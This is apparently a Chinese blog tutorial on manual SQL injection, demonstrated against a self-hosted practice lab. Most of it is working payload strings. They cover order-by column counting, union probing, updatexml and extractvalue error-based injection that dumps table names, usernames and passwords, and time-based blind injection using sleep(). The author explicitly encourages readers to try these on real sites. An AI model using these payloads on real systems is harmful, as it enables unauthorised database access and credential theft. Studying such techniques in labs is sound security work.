一手一字打上去,纯手工注入流程,见解一下!!!
sql注入的常用技巧介绍及利用,详解哈!!
前言
大家也知道sql注入的严重性,这里主要介绍手纯工挖sql漏洞的原理及方式!!!
一、如果是真实站点的话,可以在可能存在注入点的地方,敲一些特殊符号或者常用简单的sql语句上去,看回显信息,最后去用一些工具去跑跑看是否存在注入点,sqlmap是不支持mongdb的,这里不做详细演示,由于我们这里用的是靶场,直接开注。
二、猜解字段数(猜解做好从大往小猜)
id=1' order by 1--+
id=1' order by 2--+
id=1' order by 3--+
id=1' order by 4--+(在此出现报错,说明字段数为3)
三、利用一些简单的sql报错注入语句看看
?id=1' and 1=2 union select 1,2,3--+
?id=1' and 1=2 union select 1,database(),version()--+(测到这里发现没有特别的回显,应该是盲注)
思路一:尝试函数的报错注入要是没有用的话直接布尔注入(这里是有用的)
1、updatexml报错注入
介绍:
通extractvalue(),输入错误的第二个参数,即路径错误(把 / 缓存 ~)
函数updatexml(XML_document,XPath_string,new_value)包含三个参数
第一个参数:XML_document是string格式,为XML文档对象的名称,列入Doc
第二参数:XPath_string是路径,XPath格式的字符串
第三个参数:new_value,string格式,替换查找到的符合条件的数据
利用1:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),3)--+
?id=1' and updatexml(1,concat(0x7e,version(),0x7e),3)--+
?id=1' and updatexml(1,concat(0x7e,@@version_compile_os,0x7e),3)--+
?id=1' and updatexml(1,concat(0x7e,user(),0x7e),3)--+
数据库:security,版本号:5.7.26,操作系统:win64,用户权限:root@localhost(是root权限可以实现跨库操作) 这里的0x7e就是符号 ~ 的十六进制形式
利用2:
接下来直接套sql语句
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),3)--+
爆表:emails,referers,uagents,users
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),3)--+
爆列:id,username,password
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),3)--+
爆用户名:Dumb,Angelina,Dummy,secure,stupid
?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),3)--+
爆密码:Dumb,I-kill-you,p@ssword,crappy
这里没有将全部的用户和密码都爆破出来,具体原因不太清楚。
补充:如果想实现跨库操作的话利用这条sql语句(需root权限)
?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),3)--+
爆其他数据库:information_schema,challenges,dvwa
这里没有将全部数据库都爆破出来,具体原因不太清楚
2、extractvalue报错注入
介绍:
函数extractvalue()包含两个参数
extractvalue(XML_document,XPath_string)
第一个参数XML文档对象名称(笔者理解为文件名)第二个为查询文件的路径
文件路径:基本都以 / 开头
所以extractvalue(),第二参数(路径)以 ~ 符号开头,就会使其报错,0x7就是 ~ 的十六进制数
利用1:爆它一些基本信息
?id=1' and extractvalue(1,concat('~',(select database()),'~'))--+
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
利用2:
接下来的操作可以仿updatexml报错注入
例如:简单的跨库,爆出其他的数据库
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+
思路二:这个思路建立在思路一没有用处的前提下,主要是比较麻烦(布尔注入)
由于我们知道这里的数据库内的信息,也别问我怎么知道的,问就是自己搭建的有源码和数据库,相当于一个灰盒测试了。
步骤一、判断数据库名称有几位数
?id=1' and length((select database()))=8--+(这里>或<都可以用,看返回结果就行,也可以结合盲注sleep等进行)
步骤二、判断数据库名称每一位数各是什么(可以考虑结合盲注,效果更好,这里的操作原理在后面往下翻就可以看到!这里就先演示操作了~)
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(3),0)--+(115-s)
?id=1' and if(ascii(substr((select database()),2,1))=101,sleep(3),0)--+(101-e)
?id=1' and if(ascii(substr((select database()),3,1))=99,sleep(3),0)--+(99-c)
?id=1' and if(ascii(substr((select database()),4,1))=117,sleep(3),0)--+(117-u)
?id=1' and if(ascii(substr((select database()),5,1))=114,sleep(3),0)--+(114-r)
?id=1' and if(ascii(substr((select database()),6,1))=105,sleep(3),0)--+(105-i)
?id=1' and if(ascii(substr((select database()),7,1))=116,sleep(3),0)--+(116-t)
?id=1' and if(ascii(substr((select database()),8,1))=121,sleep(3),0)--+(121-y)
得出数据库名称:security
步骤三、对users表进行猜解(它是第四个表,别问我是怎么知道的,自己进数据查看就行)
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(3),0)--+(猜测第四个表有几位数,得出是5位数)
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)--+(117-u)
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(3),0)--+(115-s)
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),3,1))=101,sleep(3),0)--+(101-e)
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),4,1))=114,sleep(3),0)--+(114-r)
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),5,1))=115,sleep(3),0)--+(115-s)
得出第四个表的名称:users
步骤四、对users表中的username和password进行猜解
?id=1' and if(length((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1))=2,sleep(3),0)--+
第一列:id(2位数)
?id=1' and if(length((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1))=8,sleep(3),0)--+
第二列:username(8位数)
?id=1' and if(length((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 2,1))=8,sleep(3),0)--+
第三列:password(8位数)
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1))=105,sleep(3),0)--+(i-105)
以此类推:id
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1),1,1))=117,sleep(3),0)--+(u-117)
以此类推:username
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 2,1),1,1))=112,sleep(3),0)--+(p-112)
以此类推:password
步骤五、猜解username中的第一个用户和password中第一个用户的密码
?id=1' and if(length((select username from security.users limit 0,1))=4,sleep(3),0)--+
判断出username第一个用户Dump(4位数),猜解后面用户的位数以此类推,即可
?id=1' and if(length((select password from security.users limit 0,1))=4,sleep(3),0)--+
判断出password第一个密码是Dump(4位数),猜解后密码的位数以此类推,即可
?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(3),0)--+(D-68)
以此类推,我们这里猜解出了username的第一个用户为Dump
?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))=68,sleep(3),0)--+(D-68)
以此类推,我们这里猜解出了password的第一个用户的密码为Dump
补充要点:
1、limit 0,1:只要将前面的0进行替换,它算是一个可变量,0是起始位,这里0相当于第一个数据库或者第一个表等。
2、substr是用来截获数据的。1,1这里第一个1算是一个可变量替换就行,1是起始位,这句话意思就是,截取第一个数,截取一位,就相当于截取第一个数。如果改成2,1就是截取第二个数,截取一位,就相当于截取第二个数。
3、ascii:每一个数对应一个ascii码,放上去猜就行,为了方便可以写自动化脚本,BP抓包进行暴力破解或者sqlmap等工具直接跑。
4、0x7就是 ~ 的十六进制数
5、在后面的比较里,我用的都是=号,因为我知道它的位数还有ascii码。放到真实站点的话需要去猜建议用<号 或>号
6、我们在打靶场的时候就相当于是一次灰盒测试,源码工具我们可以用,别计较起黑盒测试和白盒测试要方便一些。
总结
大家在测试真实站点的时候,建议先手工注入,实在找不到注入点的时候,在尝试工具注入,为什么不推荐手工呢,因为效率低,但是不比工具差,工具有的时候还会误报(经历过),手工主要还是原理要懂,到了大企业不可能天天让你玩工具注入吧!!!